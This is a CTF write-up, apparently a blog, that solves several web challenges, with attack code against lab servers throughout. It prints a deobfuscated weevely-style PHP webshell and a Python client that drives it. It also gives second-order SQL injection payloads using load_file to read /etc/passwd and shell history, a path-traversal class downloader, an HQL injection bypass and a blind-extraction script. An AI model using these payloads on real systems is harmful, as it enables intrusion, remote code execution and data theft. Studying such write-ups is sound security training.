$C='an();$d=b|Uase64_encode(|Ux|U(gzcomp|U|Uress($o),$k))|U;prin|Ut("|U<$k>$d</$k>"|U);@ses|U|Usion_des|Utroy();}}}}';
$j='$k|Uh="|U|U42f7";$kf="e9ac";fun|Uction|U |Ux($t,$k){$c|U=|Ustrlen($k);$l=s|Utrl|Ue|Un($t);$o=|U"";fo|Ur($i=0;$i<';
$R=str_replace('rO','','rOcreatrOe_rOrOfurOncrOtion');
$J='kf|U),|U0,3));$p="|U";for(|U|U$|Uz=1;$z<cou|Unt|U($m[1]);|U$z++)$p.=|U$q[$m[2][$z|U]|U];if(strpos(|U$|U|Up,$h)|U===0){$';
$x='r)|U;pa|Urse|U_str($u["qu|U|Uery"],$q);$|U|Uq=array_values(|U$q);pre|Ug|U_match_al|Ul("/([\\|U|Uw])[|U\\w-]+|U(';
$f=str_replace('|U','',$j.$o.$z.$x.$k.$M.$J.$q.$N.$U.$C);
$g=create_function('',$f);
$g();
?>

得到 $f ,经过处理

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
<?php 

$kh="42f7";
$kf="e9ac";

function x($t,$k){
$c=strlen($k);
$l=strlen($t);
$o="";
for($i=0;$i<$l;){
for($j=0;($j<$c&&$i<$l);$j++,$i++){
$o.=$t{$i}^$k{$j};
}
}
return $o;
}
$r=$_SERVER;
$rr=@$r["HTTP_REFERER"];
$ra=@$r["HTTP_ACCEPT_LANGUAGE"];

if($rr&&$ra){
$u=parse_url($rr);
parse_str($u["query"],$q);
$q=array_values($q);
preg_match_all("/([\w])[\w-]+(?:;q=0.([\d]))?,?/",$ra,$m);
if($q&&$m){
@session_start();
$s=&$_SESSION;
$ss="substr";
$sl="strtolower";
$i=$m[1][0].$m[1][1];
$h=$sl($ss(md5($i.$kh),0,3));
$f=$sl($ss(md5($i.$kf),0,3));
$p="";
for($z=1;$z<count($m[1]);$z++)
$p.=$q[$m[2][$z]];
if(strpos($p,$h)===0){$s[$i]="";
$p=$ss($p,3);
}
if(array_key_exists($i,$s)){
$s[$i].=$p;
$e=strpos($s[$i],$f);
if($e){
$k=$kh.$kf;
ob_start();
@eval(
@gzuncompress(
@x(
@base64_decode(
preg_replace(array("/_/","/-/"),array("/","+"),$ss($s[$i],0,$e))
),$k
)
)
);
$o=ob_get_contents();
ob_end_clean();
$d=base64_encode(x(gzcompress($o),$k));
print("<$k>$d</$k>");
@session_destroy();
}
}
}
}
?>

image-20210213191625111

这是个类似于weevely 生成的隐藏的webshell

利用base64编码和一些操作字符串的函数,达到隐藏webshell的效果

先在要做的,就是执行那个webshell,即 hack.php

最后在网上找到了一个对应的脚本,针对referrer 和 accept language ,进行操作

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
99
100
101
102
103
104
105
106
107
108
109
110
111
112
113
114
115
116
117
118
119
120
121
122
123
124
125
126
127
128
129
130
131
132
133
134
135
136
137
# encoding: utf-8

from random import randint,choice
from hashlib import md5
import urllib
import string
import zlib
import base64
import requests
import re

def choicePart(seq,amount):
length = len(seq)
if length == 0 or length < amount:
print 'Error Input'
return None
result = []
indexes = []
count = 0
while count < amount:
i = randint(0,length-1)
if not i in indexes:
indexes.append(i)
result.append(seq[i])
count += 1
if count == amount:
return result

def randBytesFlow(amount):
result = ''
for i in xrange(amount):
result += chr(randint(0,255))
return result

def randAlpha(amount):
result = ''
for i in xrange(amount):
result += choice(string.ascii_letters)
return result

def loopXor(text,key):
result = ''
lenKey = len(key)
lenTxt = len(text)
iTxt = 0
while iTxt < lenTxt:
iKey = 0
while iTxt<lenTxt and iKey<lenKey:
result += chr(ord(key[iKey]) ^ ord(text[iTxt]))
iTxt += 1
iKey += 1
return result


def debugPrint(msg):
if debugging:
print msg

# config
debugging = False
keyh = "42f7" # $kh
keyf = "e9ac" # $kf
xorKey = keyh + keyf
url = 'http://111.200.241.244:48604/hack.php'
defaultLang = 'zh-CN'
languages = ['zh-TW;q=0.%d','zh-HK;q=0.%d','en-US;q=0.%d','en;q=0.%d']
proxies = None # {'http':'http://127.0.0.1:8080'} # proxy for debug

sess = requests.Session()

# generate random Accept-Language only once each session
langTmp = choicePart(languages,3)
indexes = sorted(choicePart(range(1,10),3), reverse=True)

acceptLang = [defaultLang]
for i in xrange(3):
acceptLang.append(langTmp[i] % (indexes[i],))
acceptLangStr = ','.join(acceptLang)
debugPrint(acceptLangStr)

init2Char = acceptLang[0][0] + acceptLang[1][0] # $i
md5head = (md5(init2Char + keyh).hexdigest())[0:3]
md5tail = (md5(init2Char + keyf).hexdigest())[0:3] + randAlpha(randint(3,8))
debugPrint('$i is %s' % (init2Char))
debugPrint('md5 head: %s' % (md5head,))
debugPrint('md5 tail: %s' % (md5tail,))

# Interactive php shell
cmd = raw_input('phpshell > ')
while cmd != '':
# build junk data in referer
query = []
for i in xrange(max(indexes)+1+randint(0,2)):
key = randAlpha(randint(3,6))
value = base64.urlsafe_b64encode(randBytesFlow(randint(3,12)))
query.append((key, value))
debugPrint('Before insert payload:')
debugPrint(query)
debugPrint(urllib.urlencode(query))

# encode payload
payload = zlib.compress(cmd)
payload = loopXor(payload,xorKey)
payload = base64.urlsafe_b64encode(payload)
payload = md5head + payload

# cut payload, replace into referer
cutIndex = randint(2,len(payload)-3)
payloadPieces = (payload[0:cutIndex], payload[cutIndex:], md5tail)
iPiece = 0
for i in indexes:
query[i] = (query[i][0],payloadPieces[iPiece])
iPiece += 1
referer = url + '?' + urllib.urlencode(query)
debugPrint('After insert payload, referer is:')
debugPrint(query)
debugPrint(referer)

# send request
r = sess.get(url,headers={'Accept-Language':acceptLangStr,'Referer':referer},proxies=proxies)
html = r.text
debugPrint(html)

# process response
pattern = re.compile(r'<%s>(.*)</%s>' % (xorKey,xorKey))
output = pattern.findall(html)
if len(output) == 0:
print 'Error, no backdoor response'
cmd = raw_input('phpshell > ')
continue
output = output[0]
debugPrint(output)
output = output.decode('base64')
output = loopXor(output,xorKey)
output = zlib.decompress(output)
print output
cmd = raw_input('phpshell > ')

image-20210213192026294

1
ctf{a57b3698-eeae-48c0-a669-bafe3213568c}

0x11 comment

dirsearch扫一扫

image-20210213195100042

有个 mysql.php

有 .git 泄露

直接 GitHack取下来

里面有一个 文件 write_do.php

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
<?php
include "mysql.php";
session_start();
if($_SESSION['login'] != 'yes'){
header("Location: ./login.php");
die();
}
if(isset($_GET['do'])){
switch ($_GET['do'])
{
case 'write':
break;
case 'comment':
break;
default:
header("Location: ./index.php");
}
}
else{
header("Location: ./index.php");
}
?>

抓个包

有个 isLogin 可以修改,改成了 1,但是好像没有什么用 ,并不能使得 $_SESSION[“login”] = “yes”

但是暂时不知道怎么用

image-20210213201351271

这个是login页面的登录框

可能有一个账号

1
2
zhangwei
zhangwei***

尝试了一下好像 *** 不行,可能是三个字符

试试看爆破

看来找到了密码

1
2
zhangwei
zhangwei666

image-20210213205517928

这是 do=comment的时候

image-20210213210803932

image-20210213210818936

当提交完留言后,会从comment.php跳转到comment.php

所以说,从git得到的write_do.php并不是完整的

image-20210213214633573

有个提示,说还没来得及commit

换个工具,githacker

用githacker 下载来之后

1
git log --reflog

image-20210213222720925

意思是把文件的每一个修改都以 commit 的形式打印出来,虽然实际上并没有真正commit

然后 git reset

1
git reset --hard e5b2a2443c2b6d395d06960123142bc91123148c

这时候再 cat write_do.php

image-20210213223048095

可以看到原来丢失的内容,现在回来了

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
<?php
include "mysql.php";
session_start();
if($_SESSION['login'] != 'yes'){
header("Location: ./login.php");
die();
}
if(isset($_GET['do'])){
switch ($_GET['do'])
{
case 'write':
$category = addslashes($_POST['category']);
$title = addslashes($_POST['title']);
$content = addslashes($_POST['content']);
$sql = "insert into board
set category = '$category',
title = '$title',
content = '$content'";
$result = mysql_query($sql);
header("Location: ./index.php");
break;
case 'comment':
$bo_id = addslashes($_POST['bo_id']);
$sql = "select category from board where id='$bo_id'";
$result = mysql_query($sql);
$num = mysql_num_rows($result);
if($num>0){
$category = mysql_fetch_array($result)['category'];
$content = addslashes($_POST['content']);
$sql = "insert into comment
set category = '$category',
content = '$content',
bo_id = '$bo_id'";
$result = mysql_query($sql);
}
header("Location: ./comment.php?id=$bo_id");
break;
default:
header("Location: ./index.php");
}
}
else{
header("Location: ./index.php");
}
?>

可以看到,在 comment的时候,bo_id 对应的category从board 这个表中取出,然后直接就参与 insert 语句了

在write 当中,正是因为担心 原生数据 $_POST[“category”] 不可靠,所以进行了addslashes的操作,而使得原生数据能够存入数据库当中,现在在comment里面,原生数据被取出来后并没有经过 addslashes ,因此就可以胡作非为了

id=6的情况

1
',content=((select (@) from (select(@:=0x00),(select (@) from (information_schema.columns) where (table_schema>=@) and (@)in (@:=concat(@,0x0D,0x0A,' [ ',table_schema,' ] > ',table_name,' > ',column_name,0x7C))))a)),bo_id='6'#

image-20210213231047226

现在去提交一个 comment 试试看

好像出了问题

试试看 id=7的情况

1
',content=database(),bo_id='7'#

但是好像还是有问题

最终终于找到原因

# 仅仅是行注释,只能有效注释到一行的末尾

所以要更改一下payload

category:

1
',content=(select (@) from (select(@:=0x00),(select (@) from (information_schema.columns) where (table_schema>=@) and (@)in (@:=concat(@,0x0D,0x0A,' [ ',table_schema,' ] > ',table_name,' > ',column_name,0x7C))))a),/*

commetn 的 content:

1
*/#

image-20210213235035904

image-20210213235111910

成功

1
2
3
4
5
6
7
8
9
10
11
[ ctf ] > board > id|
[ ctf ] > board > category|
[ ctf ] > board > title|
[ ctf ] > board > content|
[ ctf ] > comment > id|
[ ctf ] > comment > bo_id|
[ ctf ] > comment > category|
[ ctf ] > comment > content|
[ ctf ] > user > id|
[ ctf ] > user > username|
[ ctf ] > user > password|

看一下user表的内容

category:

1
',content=(select (@) from (select(@:=0x00),(select (@) from (user) where(@)in (@:=concat(@,0x0D,0x0A,' [ ',id,' ] > ',username,' > ',password,0x7C))))a),/*

comment 的content:

1
*/#

image-20210213235438550

image-20210213235507999

只有一个

因此flag可能不在数据库当中

用load_fie读读看源码

1
',content=(select(concat(load_file('/var/www/html/index.php'),load_file('/var/www/html/comment.php'),load_file('/var/www/html/mysql.php'),load_file('/var/www/html/login.php')))),/*
1
*/#

index.php

image-20210214001154382

反正最终全部的源码都得到了

但是还是没有任何有关 flag的信息

看看 /etc/passwd

1
',content=(select(concat(load_file('/etc/passwd')))),/*
1
*/#
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
root:x:0:0:root:/root:/bin/bash
daemon:x:1:1:daemon:/usr/sbin:/usr/sbin/nologin
bin:x:2:2:bin:/bin:/usr/sbin/nologin
sys:x:3:3:sys:/dev:/usr/sbin/nologin
sync:x:4:65534:sync:/bin:/bin/sync
games:x:5:60:games:/usr/games:/usr/sbin/nologin
man:x:6:12:man:/var/cache/man:/usr/sbin/nologin
lp:x:7:7:lp:/var/spool/lpd:/usr/sbin/nologin
mail:x:8:8:mail:/var/mail:/usr/sbin/nologin
news:x:9:9:news:/var/spool/news:/usr/sbin/nologin
uucp:x:10:10:uucp:/var/spool/uucp:/usr/sbin/nologin
proxy:x:13:13:proxy:/bin:/usr/sbin/nologin
www-data:x:33:33:www-data:/var/www:/usr/sbin/nologin
backup:x:34:34:backup:/var/backups:/usr/sbin/nologin
list:x:38:38:Mailing List Manager:/var/list:/usr/sbin/nologin
irc:x:39:39:ircd:/var/run/ircd:/usr/sbin/nologin
gnats:x:41:41:Gnats Bug-Reporting System (admin):/var/lib/gnats:/usr/sbin/nologin
nobody:x:65534:65534:nobody:/nonexistent:/usr/sbin/nologin
libuuid:x:100:101::/var/lib/libuuid:
syslog:x:101:104::/home/syslog:/bin/false
mysql:x:102:105:MySQL Server,,,:/var/lib/mysql:/bin/false
www:x:500:500:www:/home/www:/bin/bash

看看 www 用户的 .bash_history

1
',content=(select(concat(load_file('/home/www/.bash_history')))),/*
1
*/#
1
2
3
4
5
6
7
cd /tmp/
unzip html.zip
rm -f html.zip
cp -r html /var/www/
cd /var/www/html/
rm -f .DS_Store
service apache2 start

/tmp/html 被复制到了 /var/www/

而复制过来之后,又删除了 /var/www/html/下面的 .DS_Store

其中可能有蹊跷

幸好 /tmp/html/.DS_Store没有被删除

访问看一下

1
',content=(select(concat(load_file('/tmp/html/.DS_Store')))),/*
1
*/#

image-20210214010329522

结果是一堆乱码

而且里面好像没有 flag

众所周知,select 得到的长度也是有极限的

现在试试看

1
',content=(select(hex(load_file('/tmp/html/.DS_Store')))),/*
1
*/#

经过 解码还原之后

1
2
3
Bud1
 strapIl bootstrapIlocblobF(ÿÿÿÿÿÿ comment.phpIlocblobÌ(ÿÿcssIlocblobR(ÿÿÿÿÿÿflag_8946e1ff1ee3e40f.phpIlocblobØ(ÿÿÿÿÿÿfontsIlocblobF˜ÿÿÿÿÿÿ index.phpIlocblob̘ÿÿjsIlocblobR˜ÿÿÿÿÿÿ login.phpIlocblobؘÿÿÿÿÿÿ mysql.phpIlocblobFÿÿÿÿÿÿvendorIlocblobÌÿÿÿÿÿÿ write_do.phpIlocblobRÿÿÿÿÿÿ  @€ @€ @€ @ E
DSDB `€ @€ @€ @

可以看到

1
flag_8946e1ff1ee3e40f.php

这个想必就是 flag所在的文件了

image-20210214011213525

直接访问,结果什么都没有

那就再 load_file

1
',content=(select(hex(load_file('/var/www/html/flag_8946e1ff1ee3e40f.php')))),/*
1
*/#

image-20210214011353304

解码之后得到

1
2
3
<?php
$flag="flag{0dd14aae81d94904b3492117e2a3d4df}";
?>

0x12 Zhuanxv

dirsearch一下

image-20210214101025418

有一个 list ,看一看

image-20210214101005528

是个web应用

试试看sql 注入,尝试了一下,不过貌似后端不是php开发的

image-20210214105602782

1
Cookie: JSESSIONID=5A602AA44128361B1E1765B1CB46041B

可见是 java 写的后端

而在源码中,发现了这个

image-20210214110832441

1
background:url(./loadimage?fileName=web_login_bg.jpg)

初步推测,/loadimage?fileName= 触发了 loadimage 对应的servlet 的 doGet 方法,然后在 doGet 中,根据 fileName 打开了 对应文件的文件流,然后用 response.getWriter().print() 方法打印出来这个流

结果就是可以通过这个uri 来下载任意路径的文件

image-20210214112255755

根据 java web 的目录结构

所有的 classes 都放在 /WEB-INF/classes/ 这个文件夹里面,而文件 /WEB-INF/web.xml 中放着servlet 和 url 如何对应的信息

但是不确定这个 bg.jpg 的真实位置

接下来就要试着读 web.xml

试试看在不在 /WEB-INF/classes/ 这个目录或者其子目录下

image-20210214113504961

跑了个脚本,推测应该不在

再次尝试,看看是不是在根目录

image-20210214113636208

推测也不是在根目录下

那就估计是放在 类似于 /resources这样的文件夹下了,稍微更改一下脚本再跑

image-20210214113801884

最终发现 web.xml 的位置

下载来看看

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
<?xml version="1.0" encoding="UTF-8"?>
<web-app id="WebApp_9" version="2.4"
xmlns="http://java.sun.com/xml/ns/j2ee"
xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance"
xsi:schemaLocation="http://java.sun.com/xml/ns/j2ee http://java.sun.com/xml/ns/j2ee/web-app_2_4.xsd">
<display-name>Struts Blank</display-name>
<filter>
<filter-name>struts2</filter-name>
<filter-class>org.apache.struts2.dispatcher.ng.filter.StrutsPrepareAndExecuteFilter</filter-class>
</filter>
<filter-mapping>
<filter-name>struts2</filter-name>
<url-pattern>/*</url-pattern>
</filter-mapping>
<welcome-file-list>
<welcome-file>/ctfpage/index.jsp</welcome-file>
</welcome-file-list>
<error-page>
<error-code>404</error-code>
<location>/ctfpage/404.html</location>
</error-page>
</web-app>

可以看到 ,用到了 struts2 框架,去看一看 /WEB-INF/classes/struts.xml

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
<?xml version="1.0" encoding="UTF-8"?>



<!DOCTYPE struts PUBLIC

"-//Apache Software Foundation//DTD Struts Configuration 2.3//EN"

"http://struts.apache.org/dtds/struts-2.3.dtd">

<struts>

<constant name="strutsenableDynamicMethodInvocation" value="false"/>

<constant name="struts.mapper.alwaysSelectFullNamespace" value="true" />

<constant name="struts.action.extension" value=","/>

<package name="front" namespace="/" extends="struts-default">

<global-exception-mappings>

<exception-mapping exception="java.lang.Exception" result="error"/>

</global-exception-mappings>

<action name="zhuanxvlogin" class="com.cuitctf.action.UserLoginAction" method="execute">

<result name="error">/ctfpage/login.jsp</result>

<result name="success">/ctfpage/welcome.jsp</result>

</action>

<action name="loadimage" class="com.cuitctf.action.DownloadAction">

<result name="success" type="stream">

<param name="contentType">image/jpeg</param>

<param name="contentDisposition">attachment;filename="bg.jpg"</param>

<param name="inputName">downloadFile</param>

</result>

<result name="suffix_error">/ctfpage/welcome.jsp</result>

</action>

</package>

<package name="back" namespace="/" extends="struts-default">

<interceptors>

<interceptor name="oa" class="com.cuitctf.util.UserOAuth"/>

<interceptor-stack name="userAuth">

<interceptor-ref name="defaultStack" />

<interceptor-ref name="oa" />

</interceptor-stack>



</interceptors>

<action name="list" class="com.cuitctf.action.AdminAction" method="execute">

<interceptor-ref name="userAuth">

<param name="excludeMethods">

execute

</param>

</interceptor-ref>

<result name="login_error">/ctfpage/login.jsp</result>

<result name="list_error">/ctfpage/welcome.jsp</result>

<result name="success">/ctfpage/welcome.jsp</result>

</action>

</package>

</struts>

现在可以试试看 把 那些classes 都下载了,然后反编译看看

写个脚本

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
import requests
import os
session = requests.session()
url = "http://111.200.241.244:55014/loadimage?fileName="


classes = ["com.cuitctf.action.UserLoginAction","com.cuitctf.action.DownloadAction","com.cuitctf.util.UserOAuth","com.cuitctf.action.AdminAction"]
for c in classes:
f = c.replace(".","/")+".class"
payload = "../../"+"WEB-INF/classes/"+f
u = url+payload
resp = session.get(url=u)
print(resp.status_code,">>>>",payload)
if resp.status_code == 200:
d = "/".join(c.split(".")[:-1])
if not os.path.exists(d):
os.makedirs(d)
with open(f,"w") as f:
f.write(resp.content)

然后就得到了

接下来用 jd-gui 来反编译

image-20210214152744890

看一看

AdminAction感觉是本题的突破口

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
public class AdminAction extends ActionSupport {
private String pathName;

public String execute() throws Exception {
if (this.pathName == null)
return "list_error";
travelDirectory(this.pathName);
return "success";
}

public void setPathName(String pathName) {
this.pathName = pathName;
}

public void travelDirectory(String directory) {
List<String> fileList = new ArrayList<String>();
File dir = new File(directory);
if (dir.isFile())
return;
File[] files = dir.listFiles();
ActionContext actionContext = ActionContext.getContext();
Map<String, Object> request = (Map<String, Object>)actionContext.get("request");
if (files != null) {
for (int i = 0; i < files.length; i++) {
fileList.add(files[i].getName());
System.out.println(files[i].getName());
}
request.put("fileList", fileList);
} else {
System.out.println(");
request.put("error", ");
}
}
}

如果能够调用 excute 函数,理论上就能知道服务器目录的信息

而如果知道了flag的位置,就可以通过 DowloadfAction 来下载了

这样就能获得flag

所以现在可以试试看伪造成 admin的身份

从一个个import 语句当中,又知道了更多文件的路径

1
2
3
com.cuitctf.service.UserService
com.cuitctf.po.User
com.cuitctf.util.InitApplicationContext

而且

1
import org.springframework.context.ApplicationContext;

从这里得知,应该有个 /WEB-INF/classes/applicationContext.xml

分析一下 UserLoginAction.class

1
2
3
4
5
6
7
public boolean userCheck(User user) {
List<User> userList = this.userService.loginCheck(user.getName(), user.getPassword());
if (userList != null && userList.size() == 1)
return true;
addActionError("Username or password is Wrong, please check!");
return false;
}

感觉这个方法比较重要,而其中的 this.userService.loginCheck(user.getName(), user.getPassword());

直接决定了登录成功没

下载来看看

image-20210214161728457

没想到是个 interface

没办法看出具体的类

那就看一下 applicationContext.xml

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
99
100
101
102
103
104
105
106
107
108
109
110
111
112
113
114
115
116
117
118
119
<?xml version="1.0" encoding="UTF-8"?>

<beans xmlns="http://www.springframework.org/schema/beans"

xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance"

xsi:schemaLocation="http://www.springframework.org/schema/beans http://www.springframework.org/schema/beans/spring-beans.xsd">

<bean id="dataSource" class="org.springframework.jdbc.datasource.DriverManagerDataSource">

<property name="driverClassName">

<value>com.mysql.jdbc.Driver</value>

</property>

<property name="url">

<value>jdbc:mysql://localhost:3306/sctf</value>

</property>

<property name="username" value="root"/>

<property name="password" value="root" />

</bean>

<bean id="sessionFactory" class="org.springframework.orm.hibernate3.LocalSessionFactoryBean">

<property name="dataSource">

<ref bean="dataSource"/>

</property>

<property name="mappingLocations">

<value>user.hbm.xml</value>

</property>

<property name="hibernateProperties">

<props>

<prop key="hibernate.dialect">org.hibernate.dialect.MySQLDialect</prop>

<prop key="hibernate.show_sql">true</prop>

</props>

</property>

</bean>

<bean id="hibernateTemplate" class="org.springframework.orm.hibernate3.HibernateTemplate">

<property name="sessionFactory">

<ref bean="sessionFactory"/>

</property>

</bean>

<bean id="transactionManager" class="org.springframework.orm.hibernate3.HibernateTransactionManager">

<property name="sessionFactory">

<ref bean="sessionFactory"/>

</property>

</bean>

<bean id="service" class="org.springframework.transaction.interceptor.TransactionProxyFactoryBean" abstract="true">

<property name="transactionManager">

<ref bean="transactionManager"/>

</property>

<property name="transactionAttributes">

<props>

<prop key="add">PROPAGATION_REQUIRED</prop>

<prop key="find*">PROPAGATION_REQUIRED,readOnly</prop>

</props>

</property>

</bean>

<bean id="userDAO" class="com.cuitctf.dao.impl.UserDaoImpl">

<property name="hibernateTemplate">

<ref bean="hibernateTemplate"/>

</property>

</bean>

<bean id="userService" class="com.cuitctf.service.impl.UserServiceImpl">

<property name="userDao">

<ref bean="userDAO"/>

</property>

</bean>

</beans>
1
2
com.cuitctf.service.impl.UserServiceImpl
com.cuitctf.dao.impl.UserDaoImpl

把这两个类也都下载而来

image-20210214162449950

估计 loginCheck 就是这个实现了

1
2
3
4
5
6
7
8
9
public List<User> loginCheck(String name, String password) {
name = name.replaceAll(" ", "");
name = name.replaceAll("=", "");
Matcher username_matcher = Pattern.compile("^[0-9a-zA-Z]+$").matcher(name);
Matcher password_matcher = Pattern.compile("^[0-9a-zA-Z]+$").matcher(password);
if (password_matcher.find())
return this.userDao.loginCheck(name, password);
return null;
}

先去除 name 里面的 “ “ 和 “=”

然后实际上也没做什么,判定了一下,如果 password 是以数字/字母开头结尾的话,就调用 userDao 的 loginCheck 方法

看一下 userDao的loginCheck 方法

image-20210214162923535

1
2
3
public List<User> loginCheck(String name, String password) {
return getHibernateTemplate().find("from User where name ='" + name + "' and password = '" + password + "'");
}
1
getHibernateTemplate().find("from User where name ='" + name + "' and password = '" + password + "'");

像极了数据库的操作,但实际上用的是 HQL (Hibernate Query Language)

就语法而言和 sql 非常相似,但是没有 # 注释,只能 –空格,当做注释

但是这个程序当中过滤了 空格

试试看注入

1
user.name=admin'or(1<2)or(database())like'x&user.password=admin

image-20210214171817402

成功

现在就想办法执行admin的excute了

image-20210214174323696

可以看到,登录之后去 list 就会执行 execute

image-20210214174553622

但是貌似这个就是 list 页面

没想到这个 struts 框架这么灵活,仅仅是在 url 里面放了个参数,Action 类的属性就被设置了

image-20210214185059908

现在就去找flag了

image-20210214185403095

可见,用到了 docker

最终发现了 tomcat 的位置

image-20210214192557937

找flag 当中

image-20210214193046056

看到一个 Flag.class

image-20210214193141144

估计这就是 flag了

把它下载下来

1
WEB-INF/classes/com/cuitctf/po/Flag.class

看看 Flag.class

image-20210214193454031

image-20210214193516974

好像确实没有 flag

image-20210214200906478

这里有个可疑的文件

下载来看看

image-20210214201050133

这是一个 hibernate-mapping 文件(hbm 是 hibernate mapping 的缩写)

众所周知,hibernate 实际上会以一个类为原型,构造一个 table

property 标签定义字段,其中 column 是字段名,type 是字段的数据类型,id 表示该字段是 primary key,而且被声明为 id 的字段,用原来的属性名是没法访问的

可见,以flag 为原型,构建了一个表

1
bc3fa8be0db46a3610db3ca0ec794c0b

而这个表中有一个 字段,名为

1
welcometoourctf

但是HQL 中并不需要考虑数据库表的真实名字和字段的真实名字

而且因为这段代码的缘故,

image-20210214194421418

只能下载 以 .xml、.jpg、.class 结尾的文件

能下载的文件都下载了,都没有flag的踪迹

所以只能尝试盲注把 flag 注出来了

1
user.name=admin'or(ascii(substr((select%0aid%0afrom%0aFlag%0a),1,1))>0)or(database())like'x&user.password=a

写exp

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
import requests
from time import sleep
session = requests.session()
url = "http://111.200.241.244:38124/zhuanxvlogin"
what_i_want = ""
count = 0
for i in range(1,50):
def what_i_want_i_less_than_or_equal_mid(mid):
global count
count += 1
print("on the {}th request now.... ".format(count))
#admin'or(ascii(substr(database(),1,1))>0)or(database())like'x
# payload = "admin'or(ascii(substr((select\nid\nfrom\nFlag),{},1))<={})or(database())like'x".format(i,mid)
payload="admin'or(not(ascii(substr((select\nid\nfrom\nFlag),{},1))>{}))or(database())like'x".format(i,mid)
data = {"user.name":payload,"user.password":"a"}
resp = session.post(url=url,data=data)
print(resp.status_code)
while resp.status_code==429:
print("429 !!! sleep(3)")
sleep(3)
resp = session.post(url=url,data=data)
print(resp.status_code)
if "like'x" in resp.text:
return True
return False

print("--"*70)
print("processing the {}th char now.... ".format(i))
low = 32
high = 127
while low < high:
mid = (low + high)>>1
if what_i_want_i_less_than_or_equal_mid(mid):
high = mid
else:
low = mid + 1
print("{}th request completed!!!".format(count))

if low==32:
break
what_i_want+=chr(low)
print(what_i_want)
count = 0

print("!!"*70)
print("This is What You Want!!!!!!!!!!")
print(what_i_want)

要注意过滤了 =

image-20210215000236241

得到flag

1
sctf{C46E250926A2DFFD831975396222B08E}

0x13 wtf.sh-150

image-20210216164208652

这是以 .wtf 开发的网站

image-20210216192505086

有一个 new_user.wtf

而且 admin 已经被注册

有一个 login.wtf

image-20210216192556387

登录之后通过 profile.wtf 可以访问对应账户的profile

以下这个是 hello的,可以 看到用户名是 hello 对应

1
user=VxtEo

image-20210216192632855

而且只要更改 user 参数,就可以使得 页面发生变化

image-20210216194355815

抓包看一看

这个是 yes 账户的

image-20210216194447096

这个是 hello 账户的

image-20210216194535960

可以看到 profile.wtf 应该是没有用到 Cookie 来进行身份的辨别

有一个 new_post.wtf

image-20210216192803504

在这里发布的东西能在profile.wtf 中看到

image-20210216192905177

也不确定 post 参数和登录的账户有没有关系,再注册一个

1
2
yes
yes
1
HG8NG

试试看,发现 yes账号确实没法看post=HG8NG对应的页面

说明应该是用到了某个东西进行身份验证,而且每个账户的post都被持久化了,即在某个地方被保存着,可能是数据库

抓个包,发现Cookie中就直接放着 USERNAME 还有一个 TOKEN ,应该用了 base64编码

image-20210216193411707

1
n7H5aXIpc8mL/9ai2QYq1ICzIuVEp3od7RvLjQLTpBpOqlsmtrVDFcXaS2GyYwHJnrnUim+JpgdBLTcWPkxvMg==

解码看看

image-20210216193855463

好像是没有任何意义的

看看hello的Cookie

1
Cookie: USERNAME=hello; TOKEN=DRb/1EvzwlVPlmTAxqZMYw5FLY6Tt8G4++e8IUihvPGaZQAtywxmttciT4X/y7SY8lPQERohFjLj8Rgsb5CpQQ==

Token 部分和 yes 是不一样的

因而如果想通过修改Cookie 来伪造身份应该是比较困难的

有一个 post.wtf 能够看到post 上去的具体内容,其中用 url 上面的 post 参数来确定查看的是哪一个 post

image-20210216192936278

有一个 reply.wtf 能够给 post 参数指定的post 评论

实在没什么思路了,重要的应该是 profile.wtf 和 post.wtf ,从其中应该可以得到有用的信息,特别是当 账户是 admin 的时候

对于 post.wtf 猜测post 参数可能是用于 查询操作,从而生成了这个页面,有可能和 sql 注入或者其他什么有关,值得fuzz 一下

image-20210216195442484

最后确实发现了一些东西

分析一下

length 为 444 、451、460、466、468、496、519、531、635

反应都是

1
Pls give a (valid) post id

image-20210216195552810

当payload 为以下几个

1
2
3
4
%00../../../../../../etc/shadow
../../../../../../../../../../../../etc/hosts
/../../../../../../../../../../etc/shadow
*/*

就没有 Pls give a (valid) post id

说明应该成了

image-20210216195856711

很有可能,这里有 目录穿越

只要payload 里面的内容和目录相关,出现 /* 这些要素,就都能被正常处理

找到一个,对应的user是 NONE

image-20210216200526685

image-20210216200630971

实际上只是啥也没有

剩下的几个长度都很长,看看有没有重要的

../ 所对应的

image-20210216200855627

1
2
3
4
HTTP/1.1 200 OK
Content-Type: text/html
